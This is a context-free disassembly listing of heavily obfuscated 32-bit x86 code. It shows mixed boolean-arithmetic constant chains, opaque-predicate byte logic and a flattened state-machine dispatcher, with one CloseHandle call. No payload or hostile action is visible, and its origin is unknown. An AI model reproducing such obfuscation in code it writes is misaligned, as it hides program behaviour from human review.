and edx, 0x323945cf
or edx, eax
mov ebx, esi
xor ebx, 0x7537fe9
mov ebp, ebx
and ebp, esi
mov eax, ebp
not eax
mov ecx, eax
and ecx, 0x1c1047f9
and ebp, 0xa1e98004
or ebp, ecx
mov ecx, esi
not ecx
mov dword [esp + 0xc], ecx
and ebx, ecx
mov ecx, ebx
not ecx
or eax, ecx
and ecx, 0x5c1447fb
and ebx, 0x1618000
or ebx, ecx
xor ebx, ebp
not eax
or eax, ebx
mov ebp, edx
mov dword [esp + 0x10], edx
mov ebx, edx
xor ebx, 0x323945cf
xor ebp, 0x356a3a26
and ebp, ebx
mov ecx, ebp
not ecx
mov edx, ecx
and edx, 0x2e8d2282
and ebp, 0xd172dd7d
or ebp, edx
mov edx, dword [esp]
or edx, 0xf8ac8016
or ecx, edx
and edx, 0x2e8d2282
and edi, 0x1525d69
or edi, edx
xor edi, ebp
not ecx
or ecx, edi
mov edi, ecx
xor edi, ecx
not edi
and edi, eax
xor edi, ecx
mov ecx, dword [esp + 0xc]
mov eax, ecx
and eax, 0x4418091
and esi, 0x3b287928
or esi, eax
mov eax, dword [esp + 0x10]
xor eax, 0xcdc6ba30
or ecx, eax
and eax, 0xc4d786d7
and ebx, 0x3b287928
or ebx, eax
xor ebx, esi
not ecx
or ecx, ebx
not ecx
or ecx, edi
mov eax, ecx
xor eax, 0x35212910
xor ecx, 0xcaded6ef
mov edi, ecx
mov ecx, eax
mov esi, eax
mov edx, edi
and edx, 0xb4b84f31
and eax, 0x4b47b0ce
or eax, edx
mov edx, edi
xor eax, 0x15b64ade
or eax, edi
and edi, 0xd80c4dfd
and ecx, 0x27f3b202
or ecx, edi
mov edi, ecx
xor edi, 0x1720000
xor ecx, 0x90000851
or edx, 0x92002851
or ecx, 0x4c851328
and ecx, 0xde853b79
and edi, 0x17a0400
or edi, ecx
and edx, 0xde853b79
and esi, 0x2000c086
or esi, edx
xor esi, edi
mov ecx, esi
xor ecx, 0x4004c322
xor esi, 0x10580800
and esi, 0x3cd9188c
and ecx, 0xc326e773
or ecx, esi
mov edx, ecx
xor edx, 0x42022242
xor ecx, 0x38501808
and ecx, 0xb974dd39
and edx, 0x468b22c6
or edx, ecx
mov ecx, edx
xor ecx, 0xe7852729
xor edx, 0x468b22c6
and edx, ecx
mov ecx, edx
not ecx
xor edx, ecx
and edx, eax
xor edx, ecx
or ecx, eax
not ecx
or edx, ecx
mov ecx, edx
not ecx
mov eax, edx
xor eax, 0xa10e05ef
and eax, edx
or edx, 0x5ef1fa10
mov esi, eax
not esi
mov edi, edx
and edi, 0xc80dd7b6
and ecx, 0x21020049
or ecx, edi
or edx, esi
and esi, 0xc80dd7b6
and eax, 0x37f22849
or eax, esi
xor eax, ecx
not edx
or edx, eax
mov ecx, dword [esp + 8]
mov eax, ecx
xor eax, 0xa7dc18a1
and eax, ecx
mov edi, ecx
mov ebx, dword [esp + 4]
mov ecx, ebx
or ecx, eax
not eax
and eax, 0x5823e75e
and ecx, 0xa7dc18a1
or ecx, eax
mov esi, ecx
xor esi, 0x3963dc2b
and esi, ecx
or ebx, 0xc0040044
and edi, 0x11020003
and ebx, 0xe865dc6c
or ebx, edi
mov ecx, ebx
xor ecx, 0xe865dc6c
mov eax, esi
not eax
mov edi, ebx
xor edi, 0x16082091
and edi, 0xf64de4dd
xor ebx, 0x3902dc08
and ebx, ecx
and ecx, 0x9221822
or ecx, edi
xor ecx, 0x9b21b22
or eax, ecx
and ecx, 0xd76f2230
or ebx, ecx
xor ebx, esi
xor ebx, 0xd76f2230
not eax
or eax, ebx
mov esi, eax
xor esi, 0x3963dc2b
mov edi, edx
not edi
mov dword [esp], edi
mov ebx, eax
xor ebx, 0xc69c23d4
mov ecx, edx
and ecx, 0xc67c0227
and edi, 0x3983fdd8
or edi, ecx
mov ecx, esi
and ecx, 0xc67c0227
mov ebp, ebx
and ebp, 0x3983fdd8
or ebp, ecx
xor ebp, edi
mov ecx, edx
or ecx, esi
xor eax, 0xf3429874
and eax, esi
not ecx
or ecx, ebp
mov edi, edx
or edi, 0x10402980
and ebx, 0x8214458
and esi, 0xc2000007
or esi, ebx
mov ebp, dword [esp]
mov ebx, ebp
or ebx, 0x204010
and edi, 0x10606990
and ebp, 0xca01044f
or ebp, edi
mov dword [esp], ebp
mov ebp, esi
xor ebp, 0x40000005
xor esi, 0x3dfffff8
and ebx, 0x10606990
and edx, 0x259e9220
or edx, ebx
mov edi, esi
and edi, 0xabcca102
and ebp, 0x4021445d
or ebp, edi
mov edi, eax
not edi
or esi, edi
and edi, 0xabcca102
and eax, 0x54335efd
or eax, edi
mov ebx, ecx
not ebx
xor eax, ebp
not esi
or esi, eax
xor esi, dword [esp]
xor esi, edx
mov eax, ecx
and eax, 0x66cc4721
xor ecx, 0xcf947967
and ecx, ebx
mov edx, ebx
and edx, 0x9933b8de
or edx, eax
mov eax, edx
xor eax, 0x9933b8de
mov dword [esp], eax
mov ebp, edx
xor ebp, 0x56a7c1b9
and ebp, eax
mov ebx, ebp
not ebx
mov edi, ebx
and edi, 0xf3610854
and ebp, 0xc9ef7ab
or ebp, edi
mov edi, ecx
not edi
or ebx, edi
and edi, 0xf3610854
and ecx, 0xc9ef7ab
or ecx, edi
mov edi, esi
not edi
mov dword [esp + 4], edi
xor ecx, ebp
mov ebp, esi
or ebp, 0xcf947967
not ebx
or ebx, ecx
mov ecx, ebp
and ecx, 0xfcb74b25
and edi, 0x488498
or edi, ecx
mov ecx, esi
xor ecx, 0x306b8698
and ecx, esi
mov eax, ecx
not eax
or ebp, eax
and eax, 0xfcb74b25
and ecx, 0x348b4da
or ecx, eax
xor ecx, edi
not ebp
or ebp, ecx
mov ecx, ebp
xor ecx, ebp
not ecx
and ecx, ebx
xor ecx, ebp
xor edx, 0x66cc4721
mov eax, edx
and eax, 0xbc805049
mov edi, dword [esp]
and edi, 0x437fafb6
or edi, eax
or edx, esi
and esi, 0xbc805049
mov eax, dword [esp + 4]
and eax, 0x437fafb6
or eax, esi
xor eax, edi
not edx
or edx, eax
mov eax, ecx
not eax
mov esi, eax
and esi, 0x5e198059
and ecx, 0xa1e67fa6
or ecx, esi
mov esi, edx
not esi
or eax, edx
and edx, 0x5e198059
and esi, 0xa1e67fa6
or esi, edx
xor esi, ecx
not eax
or eax, esi
mov edx, eax
xor edx, 0x5f257135
and edx, eax
mov ecx, eax
not ecx
or ecx, edx
not edx
and edx, 0xa0da8eca
and ecx, 0x5f257135
or ecx, edx
mov eax, ecx
not eax
mov edx, eax
and edx, ecx
and eax, 0x4706c6c4
and ecx, 0xb8f9393b
or ecx, eax
mov eax, edx
not eax
mov esi, eax
and esi, 0xaaee1699
and edx, 0x5511e966
or edx, esi
mov esi, ecx
xor esi, 0x4500c044
xor ecx, 0xb8f9393b
or eax, ecx
and ecx, 0xaaee1699
and esi, 0x5511e966
or esi, ecx
xor esi, edx
not eax
or eax, esi
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x4a3dfc6d
and ecx, eax
and eax, 0xb5c20392
or eax, edx
mov edx, eax
xor edx, 0x20800180
xor eax, 0x4a3dfc6d
mov esi, eax
and esi, 0xd5731a5f
and edx, 0x2a8ce5a0
or edx, esi
mov esi, ecx
not esi
or eax, esi
and esi, 0xd5731a5f
and ecx, 0x2a8ce5a0
or ecx, esi
xor ecx, edx
not eax
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x668e5766
and eax, 0x9971a899
or eax, ecx
mov ecx, eax
xor ecx, 0x668e5766
xor eax, 0x9971a899
mov edx, eax
and edx, 0xd28f0ed7
and eax, ecx
and ecx, 0x2d70f128
or ecx, edx
mov edx, ecx
xor edx, 0xb000
xor ecx, 0xd28f0ed7
mov esi, ecx
and esi, 0xff7c4538
and edx, 0x83bac7
or edx, esi
mov esi, eax
not esi
or ecx, esi
and esi, 0xff7c4538
and eax, 0x83bac7
or eax, esi
xor eax, edx
not ecx
or ecx, eax
mov eax, ecx
not eax
and ecx, 0x499ad7a8
and eax, 0xb6652857
or eax, ecx
xor eax, 0xb6652857
sete cl
setne ah
cmp dword [0x1004f90c], 0xa
setl dl
setge ch
mov dh, ch
inc dh
mov al, dh
and al, ch
xor al, 1
or al, ch
xor al, 1
or al, dh
xor al, 1
mov ebx, eax
or bl, ah
xor al, ah
mov dh, al
xor dh, 1
mov bh, dh
xor bh, bl
or dh, bl
xor dh, 1
or dh, bh
xor dh, 1
or dh, al
mov bl, dh
xor bl, 1
mov al, dh
and al, bl
xor al, 1
or al, bl
xor al, 1
or al, dh
or cl, ch
or dl, ah
mov ah, cl
xor ah, dl
or dl, cl
xor dl, 1
or dl, ah
mov dh, dl
xor dh, 1
mov ecx, edx
and cl, dh
mov ah, cl
xor ah, 1
and cl, ah
xor cl, 1
mov ch, cl
xor ch, ah
or cl, ah
xor cl, 1
or cl, ch
mov ch, cl
xor ch, 1
and ch, dl
and cl, dh
or cl, ch
xor cl, 1
mov dl, dh
or dl, ah
mov ch, cl
xor ch, dl
or cl, dl
xor cl, 1
or cl, ch
mov ch, cl
xor ch, 1
xor ah, dh
xor dl, 1
or ah, dh
or ah, dl
mov dh, ch
mov dl, ch
mov bl, ch
and bl, ah
xor ah, 1
xor dh, ah
or dl, ah
xor dl, 1
or dl, dh
mov dh, dl
xor dh, 1
and ah, cl
or ah, bl
mov bl, ah
xor bl, 1
or ah, dh
mov bh, dh
xor bh, bl
xor bl, dl
mov dh, al
xor dh, 1
xor ah, 1
or ah, bl
mov dl, bh
xor dl, ah
or ah, bh
xor ah, 1
or ah, dl
xor ah, 1
mov bl, ah
xor bl, dh
and bl, dh
mov dl, al
xor dl, ah
or ah, al
xor ah, 1
or ah, dl
xor bl, 1
mov dl, ah
xor dl, bl
or bl, ah
xor dl, 1
mov ah, bl
xor ah, dl
or dl, bl
xor dl, 1
or dl, ah
mov ebx, eax
and bl, dh
xor bl, 1
or bl, dh
xor bl, 1
or bl, al
xor bl, ch
and ch, dh
mov ah, al
and ah, cl
or ah, ch
mov al, dh
xor al, cl
or cl, dh
xor cl, 1
or cl, al
xor cl, 1
or cl, bl
mov ch, cl
xor ch, 1
and ch, cl
xor ch, 1
mov al, cl
xor al, ch
or ch, cl
xor ch, 1
or ch, al
mov al, ch
xor al, 1
mov cl, ah
xor cl, 1
and cl, ch
and al, ah
or al, cl
mov cl, ah
xor cl, ch
or ch, ah
xor ch, 1
or ch, cl
xor al, 1
mov cl, al
xor cl, ch
or al, ch
xor al, 1
or al, cl
mov ah, dl
xor ah, al
xor al, 1
xor ah, 1
mov ecx, edx
or cl, al
xor cl, 1
or cl, ah
mov ah, cl
xor ah, 1
mov ch, al
xor ch, dl
and al, ch
and ch, dl
mov edx, eax
xor dl, 1
xor al, ch
xor ch, 1
or ch, dl
xor ch, 1
or ch, al
mov al, ch
xor al, 1
and ch, cl
or cl, al
and al, ah
or al, ch
mov edx, ecx
xor dl, al
test dl, 1
mov edx, 0x9eee8e7b
mov esi, 0x88c0676e
cmovne edx, esi
test al, 1
mov edi, edx
mov eax, 0x9eee8e7b
cmovne edi, eax
test cl, 1
cmovne edi, edx
jmp 0x10011930
cmp edi, 0x8133f756
je 0x10023bf2
cmp edi, 0x88c0676e
je 0x100247c5
cmp edi, 0x898e3e79
jne 0x10011930
push dword [esp + 0x40]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [0x1004f908]
lea ecx, [eax + 1]
imul ecx, eax
mov edi, ecx
not edi
mov esi, ecx
xor esi, 0xa72465bb
and esi, ecx
mov edx, edi
or edx, esi
not esi
and esi, 0x58db9a44
and edx, 0xa72465bb
or edx, esi
mov esi, edx
not esi
and edx, 0x49fdd8d9
and esi, 0xb6022726
or esi, edx
mov edx, esi
xor edx, 0x5e2261dc
xor esi, 0xb6022726
and esi, edx
mov edx, esi
not edx
mov dword [esp], edx
and edx, 0x86bb1034
and esi, 0x7944efcb
or esi, edx
mov ebx, edi
and ebx, ecx
mov edx, ecx
and edx, 0x542d0dfd
mov ebp, edi
and ebp, 0xabd2f202
or ebp, edx
mov eax, ebx
not eax
mov edx, ecx
or edx, eax
and eax, 0x542d0dfd
and ebx, 0xabd2f202
or ebx, eax
xor ebx, ebp
mov ebp, edi
or ebp, 0x17dfb905
mov eax, dword [esp]
or eax, ebp
not eax
mov dword [esp], eax
and ebp, 0x86bb1034
not edx
or edx, ebx
mov eax, ecx
and eax, 0x95ba992a
and edi, 0x6a4566d5
or edi, eax
xor edi, edx
or edx, ecx
mov eax, ecx
and eax, 0x680046ca
or eax, ebp
xor eax, esi
or eax, dword [esp]
mov esi, eax
xor esi, 0xe82046fa
mov ebx, eax
xor ebx, 0x94c17bbb
and ebx, esi
or esi, 0x831ec2be
xor eax, 0x14c10800
mov ecx, ebx
not ecx
mov ebp, ecx
and ebp, 0xe226b5b9
and ebx, 0x1dd94a46
or ebx, ebp
or ecx, esi
and esi, 0xe226b5b9
and eax, 0x1cc10840
or eax, esi
xor eax, ebx
not ecx
or ecx, eax
mov ebx, ecx
xor ebx, 0x7ce13d41
xor ecx, 0x831ec2be
xor edi, 0x6a4566d5
not edx
or edx, edi
mov ebp, edx
mov edi, edx
mov dword [esp + 0xc], edx
not ebp
mov eax, ebx
and eax, 0xfc8365d5
mov esi, ecx
and esi, 0x4b0390a3
and ebx, 0xb4fc6f5c
or ebx, esi
xor ebx, 0xf66befd2
or ebx, ecx
mov edx, ecx
and edx, 0x37c9a2a
or edx, eax
mov ecx, edi
and ecx, 0x868c1dc
mov eax, ebp
and eax, 0xf7973e23
or eax, ecx
mov ecx, eax
xor ecx, 0xf1132e02
xor eax, 0x868c1dc
mov esi, eax
and esi, 0x6ac9031
and ecx, 0xf9536fce
or ecx, esi
mov esi, edi
and esi, ebp
mov edi, esi
not edi
or eax, edi
and edi, 0x6ac9031
and esi, 0xf9536fce
or esi, edi
xor esi, ecx
mov edi, edx
xor edi, 0xfc8365d5
mov dword [esp], edi
not eax
or eax, esi
xor edx, 0x37c9a2a
mov dword [esp + 4], edx
and edx, 0xdaf2ea38
and edi, 0x250d15c7
or edi, edx
mov esi, edi
xor esi, 0x250d15c7
xor edi, 0xc0f28000
and edi, 0xc0f78043
mov ecx, esi
and ecx, 0x3f087fbc
or ecx, edi
xor ecx, 0x7d9fff32
and esi, 0xbd687f71
or esi, ecx
mov edi, eax
not edi
mov dword [esp + 8], edi
or edi, 0x91684f51
mov ecx, eax
and ecx, 0x928084
and edi, 0xd36d4f5b
or edi, ecx
mov ecx, dword [esp + 0xc]
and ecx, 0xb8682d70
and ebp, 0x5005201
or ebp, ecx
mov edx, ebp
xor edx, 0x1200
or edx, 0x2868084
xor ebp, 0x38280000
and ebp, 0x3d284001
and edx, 0x82c6bff4
or edx, ebp
mov ebp, esi
not ebp
mov ecx, ebp
xor ecx, ebx
and ecx, ebp
xor ebp, esi
and ebp, ebx
xor ebp, esi
mov esi, ecx
not esi
mov ebx, esi
and ebx, 0x8c15c5fe
and ecx, 0x73ea3a01
or ecx, ebx
mov ebx, ebp
not ebx
or esi, ebx
and ebx, 0x8c15c5fe
and ebp, 0x73ea3a01
or ebp, ebx
xor ebp, ecx
not esi
or esi, ebp
mov ecx, edi
xor ecx, 0x40000002
xor edi, 0x8000024
and edi, 0x9b25043c
and ecx, 0x40928082
or ecx, edi
mov ebp, edx
xor ebp, 0x403b40
xor edx, 0x19210008
and edx, 0x9b25043c
and ebp, 0x24487b41
or ebp, edx
xor ebp, ecx
mov ecx, ebp
not ecx
mov edx, ebp
xor edx, 0xf0944227
and edx, ecx
and ebp, 0xf6bbdd8
or ebp, edx
mov ecx, esi
not ecx
mov edx, ecx
and edx, 0xf0140204
mov edi, esi
and edi, 0x804023
or edi, edx
xor edi, 0x804023
not edx
and edx, 0xd5308444
and edi, 0x20844223
or edi, edx
or ecx, 0xd0100004
and ecx, 0xd5308444
and esi, 0xa4b3998
or esi, ecx
xor esi, edi
mov ebx, ebp
xor ebx, ebp
not ebx
and ebx, esi
xor ebx, ebp
mov edx, dword [esp + 4]
mov ecx, edx
mov edi, dword [esp + 8]
or ecx, edi
not ecx
and edx, 0xd5e31980
mov esi, edx
mov edx, dword [esp]
and edx, 0x2a1ce67f
or edx, esi
and edi, 0xd5e31980
and eax, 0x2a1ce67f
or eax, edi
xor eax, edx
or eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x9328467
mov esi, eax
and esi, 0xb6416200
or esi, edx
mov edx, esi
xor edx, 0x6402200
xor esi, 0x9801079
or ecx, 0xb9014061
and esi, 0xb9815079
and edx, 0x672a606
or edx, esi
and ecx, 0xb9815079
and eax, 0x400c0980
or eax, ecx
xor eax, edx
mov ecx, eax
xor ecx, 0x408c1998
xor eax, 0xbf73e667
mov edx, ebx
not edx
and ecx, edx
or edx, eax
and eax, ebx
or eax, ecx
mov ecx, eax
not ecx
mov esi, ecx
and esi, 0x9f608058
and eax, 0x609f7fa7
or eax, esi
xor eax, edx
xor eax, 0x609f7fa7
or ecx, edx
not ecx
or ecx, eax
mov edx, ecx
not edx
mov eax, ecx
xor eax, 1
and eax, edx
mov esi, ecx
and esi, 0x249f4e3f
mov ebx, ecx
mov edi, edx
mov ebp, edx
and ebp, 0x923e5371
and ecx, 0x6dc1ac8e
or ecx, ebp
not ecx
or ecx, edx
mov ebp, edx
and ebp, 0xdb60b1c0
or ebp, esi
mov edx, eax
not edx
mov esi, edx
and esi, 0x59e0b93f
and eax, 0xa61f46c0
or eax, esi
mov esi, ebp
xor esi, 0x241f4600
xor ebp, 0xdb60b1c1
or edx, ebp
and ebp, 0x59e0b93f
and esi, 0xa61f46c0
or esi, ebp
xor esi, eax
not edx
or edx, esi
mov eax, edx
not eax
mov esi, eax
and esi, 0x35d728f2
and eax, edx
and edx, 0xca28d70d
or edx, esi
mov esi, edx
xor esi, 0x4820040d
xor edx, 0x35d728f2
mov ebp, edx
and ebp, 0x8209fbc2
and esi, 0x7df6043d
or esi, ebp
mov ebp, eax
not ebp
or edx, ebp
and ebp, 0x8209fbc2
and eax, 0x7df6043d
or eax, ebp
xor eax, esi
not edx
or edx, eax
and ebx, 0x3e0a2c0d
and edi, 0xc1f5d3f2
or edi, ebx
mov eax, edi
xor eax, 0xa0001
xor edi, 0x80245270
and eax, 0x1a0101
and edi, 0x92245270
or edi, eax
mov eax, edi
xor eax, 0x82244020
xor edi, 0x6ddbad8f
mov esi, edi
or esi, ecx
not esi
and edi, 0x78c99bd5
and eax, 0x82364020
or eax, edi
xor eax, ecx
xor eax, 0x8736642a
or eax, esi
mov esi, eax
xor esi, 0x6dc1ac8f
mov edi, eax
xor edi, 0x923e5370
mov ebx, edi
and ebx, 0xf59f3a23
mov ecx, esi
and ecx, 0xa60c5dc
or ecx, ebx
mov ebp, ecx
xor ecx, 0xf59f3a23
and ecx, edx
mov ebx, edx
xor ebx, 0x4266e93c
and ebx, edx
not edx
xor ebp, 0xa60c5dc
and ebp, edx
or ecx, ebp
not ecx
or ecx, edx
and edx, 0x4266e93c
or ebx, edx
xor eax, 0x2fa745b3
and eax, edi
mov ebp, eax
not ebp
mov edx, ebp
and edx, 0xaf0dfe72
and eax, 0x50f2018d
or eax, edx
mov edx, ecx
not edx
or edi, 0x4266e93c
or ebp, edi
and edi, 0xaf0dfe72
and esi, 0x10900081
or esi, edi
xor esi, eax
not ebp
or ebp, esi
mov eax, ebp
xor eax, ebp
not eax
and eax, ebx
xor eax, ebp
mov esi, ecx
and esi, 0xc3307ab8
mov edi, edx
and edi, 0x3ccf8547
or edi, esi
mov esi, edi
xor esi, 0x3ccf8547
mov ebp, esi
mov dword [esp], esi
mov ebx, eax
xor ebx, 0x13692363
and ebx, eax
mov esi, eax
not esi
xor edi, 0xd05959db
and edi, ebp
mov ebp, esi
and ebp, 0x13692363
or ebx, ebp
mov ebp, edi
not ebp
mov eax, ebp
and eax, 0x7681eff
and edi, 0xf897e100
or edi, eax
or ecx, 0x13692363
or ebp, ecx
and ecx, 0x7681eff
and edx, 0xe896c000
or edx, ecx
xor edx, edi
not ebp
or ebp, edx
xor ebp, ebx
mov ecx, esi
or ecx, dword [esp]
not ecx
or ecx, ebp
mov edx, ecx
not edx
mov eax, edx
and eax, 0xd0b33c43
mov esi, ecx
xor esi, 0xd0b33c43
and esi, ecx
mov ebp, ecx
or esi, eax
mov eax, esi
xor eax, 0x2d4cc1a8
xor esi, 0xd0020400
and eax, 0x2dfdf9eb
and esi, 0xd2020614
or esi, eax
mov ecx, esi
xor ecx, 0xd2020614
xor esi, 0x2dfdf9eb
mov eax, esi
and eax, ecx
and esi, 0x3d3bdbcd
and ecx, 0xc2c42432
or ecx, esi
xor ecx, 0x3d3bdbcd
or ecx, eax
mov esi, ecx
not esi
mov eax, ecx
and eax, 0x3bd6e079
mov ebx, esi
and ebx, 0xc4291f86
or ebx, eax
mov edi, ebx
xor edi, 0xc2d001c1
or ecx, 0x7f99e4f
xor ebx, 0x3c2f7e36
mov eax, ecx
and eax, 0x2d29e80a
and esi, 0xd00601b0
or esi, eax
or ecx, ebx
and ebx, 0x2d29e80a
and edi, 0xd2d617f5
or edi, ebx
xor edi, esi
not ecx
or ecx, edi
mov edi, ecx
not edi
and ecx, 0x1bfd243b
and edi, 0xe402dbc4
or edi, ecx
mov esi, edi
xor esi, 0x8240439
xor edi, 0xe402dbc4
mov eax, edi
and eax, 0x73d9b046
and esi, 0x8c264fb9
or esi, eax
xor esi, 0x8c264fb9
or esi, edi
mov eax, esi
not eax
mov dword [esp], eax
mov eax, edx
and eax, 0x52304407
mov ecx, ebp
and ecx, 0x28080020
or ecx, eax
mov ebx, ecx
xor ebx, 0x28000020
xor ecx, 0x81c2384b
mov eax, edx
or eax, 0x80003
and ecx, 0x81ca384b
and ebx, 0x7a304424
or ebx, ecx
and eax, 0x81ca384b
mov edi, ebp
and edi, 0x4058390
or edi, eax
xor edi, ebx
mov ebx, edi
xor ebx, 0x810a40
xor edi, 0x823e2597
mov eax, edi
and eax, 0x7f60d4a9
and ebx, 0x809f2b56
or ebx, eax
and ebp, 0x7f60d4a9
and edx, 0x809f2b56
or edx, ebp
xor edx, ebx
xor edi, edx
and edi, edx
mov ecx, edi
not ecx
mov eax, ecx
and eax, 0xb4d67f31
mov edx, edi
and edx, 0x4b2980ce
or edx, eax
mov eax, esi
and eax, 0xe2906d54
mov ebx, dword [esp]
and ebx, 0x1d6f92ab
or ebx, eax
mov eax, edx
xor eax, 0x929808a
xor edx, 0xa0906d10
and edx, 0xe2906d54
and eax, 0x1d6f92ab
or eax, edx
xor eax, ebx
mov edx, eax
xor edx, esi
and edx, eax
mov eax, esi
and eax, 0x7006140
mov ebp, dword [esp]
and ebp, 0x18508016
or ebp, eax
mov eax, ecx
and eax, 0x6eb24212
mov ebx, edi
and ebx, 0x914dbded
or ebx, eax
mov eax, ebx
xor eax, 0x914dbded
xor ebx, 0x71e2a344
and ebx, eax
mov eax, ebp
xor eax, 0x10008000
xor ebp, 0x438668a0
and ebp, 0x4bd668b6
and eax, 0x14008140
or eax, ebp
or esi, 0xb506016
or ecx, 0x1f50e156
and esi, 0x4bd668b6
mov ebp, dword [esp]
and ebp, 0xa0291609
or ebp, esi
xor ebp, eax
mov esi, ebx
not esi
mov eax, esi
and eax, 0x298e3054
and ebx, 0xd671cfab
or ebx, eax
or esi, ecx
and ecx, 0x298e3054
and edi, 0xc0210ea9
or edi, ecx
xor edi, ebx
not esi
or esi, edi
mov eax, esi
xor eax, esi
not eax
and eax, ebp
xor eax, esi
mov ecx, edx
xor ecx, 0xddcc8b2f
mov esi, ecx
and ecx, edx
not edx
mov edi, eax
not edi
and esi, edx
or ecx, esi
or edx, edi
and edi, 0xddcc8b2f
and eax, 0x223374d0
or eax, edi
xor eax, ecx
not edx
or edx, eax
mov edi, edx
not edi
mov ecx, edi
and ecx, 0x203424
mov esi, edx
and esi, 0x8b840890
or esi, ecx
xor esi, 0x8b840890
mov ecx, edx
xor ecx, 0x8ba43cb4
and ecx, edx
or esi, ecx
not ecx
and ecx, 0x745bc34b
and esi, 0x8ba43cb4
or esi, ecx
mov ecx, esi
xor ecx, 0xce7424d2
and ecx, esi
mov esi, edi
and esi, 0x318bdb2d
and edx, 0xce7424d2
or edx, esi
xor edi, edx
and edi, edx
mov edx, ecx
not edx
mov dword [esp + 4], edx
mov ebx, edi
not ebx
mov dword [esp], ebx
and ebx, 0x5af2fcb3
mov esi, edi
and esi, 0xa50d034c
or esi, ebx
mov ebx, ecx
or ebx, 0xf44a5112
mov ebp, ebx
and ebp, 0xa01a0ecb
and edx, 0xba5a024
or edx, ebp
mov ebp, ecx
xor ebp, 0xbb5aeed
and ebp, ecx
mov eax, ebp
not eax
or ebx, eax
and eax, 0xa01a0ecb
and ebp, 0x5fe5f134
or ebp, eax
xor ebp, edx
not ebx
or ebx, ebp
mov ebp, esi
xor ebp, 0xa50d034c
xor esi, 0x5af2fcb3
mov eax, esi
or eax, 0x90024102
and eax, 0x92a261a6
mov edx, ebp
and edx, 0x9158e49
or edx, eax
mov eax, dword [esp]
or eax, 0x2a020a4
and eax, 0x92a261a6
and edi, 0x64481010
or edi, eax
xor edi, edx
xor edi, ebx
mov eax, ecx
and eax, 0x645252f
mov edx, dword [esp + 4]
and edx, 0xf9badad0
or edx, eax
or ecx, esi
and esi, 0x645252f
and ebp, 0xf9badad0
or ebp, esi
xor ebp, edx
not ecx
or ecx, ebp
not ecx
or ecx, edi
mov edx, ecx
mov eax, ecx
xor eax, 0xc98dba9d
and eax, ecx
not ecx
or edx, 0x36724562
mov esi, eax
not esi
mov edi, edx
and edi, 0x579d39ad
and ecx, 0x88008210
or ecx, edi
or edx, esi
and esi, 0x579d39ad
and eax, 0xa862c652
or eax, esi
xor eax, ecx
not edx
or edx, eax
mov ecx, edx
not ecx
mov eax, ecx
and eax, 0x6c76fbcf
mov edi, edx
and edi, 0x93890430
lea esi, [eax + edi]
mov ebx, esi
xor ebx, 0x2080010
xor esi, 0x243008
and ebx, 0x220a0114
and esi, 0x80243028
or esi, ebx
add eax, edi
add eax, 0x80000000
xor esi, 0x7fdbcfd7
and edx, 0x37d41177
mov edi, ecx
and edi, 0xc82bee88
or edi, edx
xor edi, 0x95fa204b
and ecx, 0xa22e313c
or ecx, edi
mov edx, esi
or edx, ecx
and esi, 0x7b5b29bd
and eax, 0x80241000
or eax, esi
xor eax, ecx
mov ecx, eax
xor ecx, 0x84a4d642
xor eax, 0x7b5b29bd
mov esi, eax
and esi, 0x7ed33909
and ecx, 0x812cc6f6
or ecx, esi
or eax, edx
and edx, 0xfeff393d
xor edx, ecx
xor edx, 0x802c0034
not eax
or eax, edx
mov esi, eax
xor esi, 0x5dd1cec3
xor eax, 0xa22e313c
mov ecx, eax
and ecx, 0x50b12021
mov edi, esi
and edi, 0x8008c000
or edi, ecx
xor edi, 0x8008c000
mov edx, eax
and edx, 0x2f461fde
or edx, edi
mov ecx, edx
not ecx
mov edi, ecx
or edi, 0x80d3a278
and esi, 0xb3a0e414
mov ebx, eax
and ebx, 0x4c5f1beb
or ebx, esi
xor ebx, 0xcc8cb993
and eax, 0x7f2c5d87
or eax, ebx
mov esi, edi
or esi, eax
not esi
and edi, 0x358bead7
mov ebx, edx
and ebx, 0x4a241500
or ebx, edi
xor ebx, eax
xor ebx, 0xca741528
or ebx, esi
mov eax, ebx
mov esi, ebx
xor esi, 0x7f2c5d87
and esi, ebx
not ebx
or eax, 0x80d3a278
mov edi, eax
and edi, 0xd6e67003
and ebx, 0x29080d84
or ebx, edi
mov edi, esi
not edi
or eax, edi
and edi, 0xd6e67003
and esi, 0x29198ffc
or esi, edi
xor esi, ebx
not eax
or eax, esi
mov edi, edx
xor edi, 0xdb7b8d53
and edi, ecx
mov esi, edx
and esi, 0x248472ac
or esi, edi
mov edi, esi
xor edi, 0x248472ac
and edx, 0xf21b1101
and ecx, 0xde4eefe
or ecx, edx
mov edx, ecx
xor edx, 0x42120100
xor ecx, 0xd008626
and ecx, 0xbd099627
and edx, 0x42f669d8
or edx, ecx
mov ecx, edx
xor ecx, 0x2d261d0
xor edx, 0xbd099627
xor esi, 0xdb7b8d53
mov ebx, esi
and ebx, 0x542c8e2b
and edi, 0xabd371d4
or edi, ebx
or esi, edx
and edx, 0x542c8e2b
and ecx, 0xabd371d4
or ecx, edx
xor ecx, edi
not esi
or esi, ecx
mov ecx, esi
mov edx, esi
xor edx, 0xe6cbabc8
and edx, esi
not esi
xor ecx, 0x9145401
mov ebx, ecx
or ebx, 0x8041420
mov edi, edx
not edi
and ebx, 0xaa0f3fe8
and esi, 0x44c08000
or esi, ebx
or ecx, edi
and edi, 0xaa0f3fe8
and edx, 0x55f0c017
or edx, edi
xor edx, esi
not ecx
or ecx, edx
not edx
and edx, 0x19345437
and ecx, 0xe6cbabc8
or ecx, edx
mov esi, ecx
not esi
mov edi, eax
not edi
mov edx, edi
or edx, esi
not edx
and edi, 0x440c1405
and eax, 0xbbf3ebfa
or eax, edi
and esi, 0x440c1405
and ecx, 0xbbf3ebfa
or ecx, esi
xor ecx, eax
or ecx, edx
mov edx, ecx
not edx
mov esi, edx
and esi, ecx
mov edi, esi
not edi
mov eax, ecx
and eax, 0x8808000b
mov ebx, edx
and ebx, 0x2242a50
or ebx, eax
mov eax, ecx
or eax, edi
and edi, 0x8808000b
and esi, 0x2242a50
or esi, edi
xor esi, ebx
not eax
or eax, esi
mov edi, eax
and edi, 0x8a2c2a5b
mov esi, eax
xor eax, 0x2852
and eax, edi
not edi
mov ebx, edx
and ebx, 0xd0d70dbf
and ecx, 0x2f28f240
or ecx, ebx
xor ecx, 0x5afb27e4
xor edx, ecx
and edx, ecx
and edi, 0xf223d971
and esi, 0x80c220a
or esi, edi
xor esi, 0xddc268e
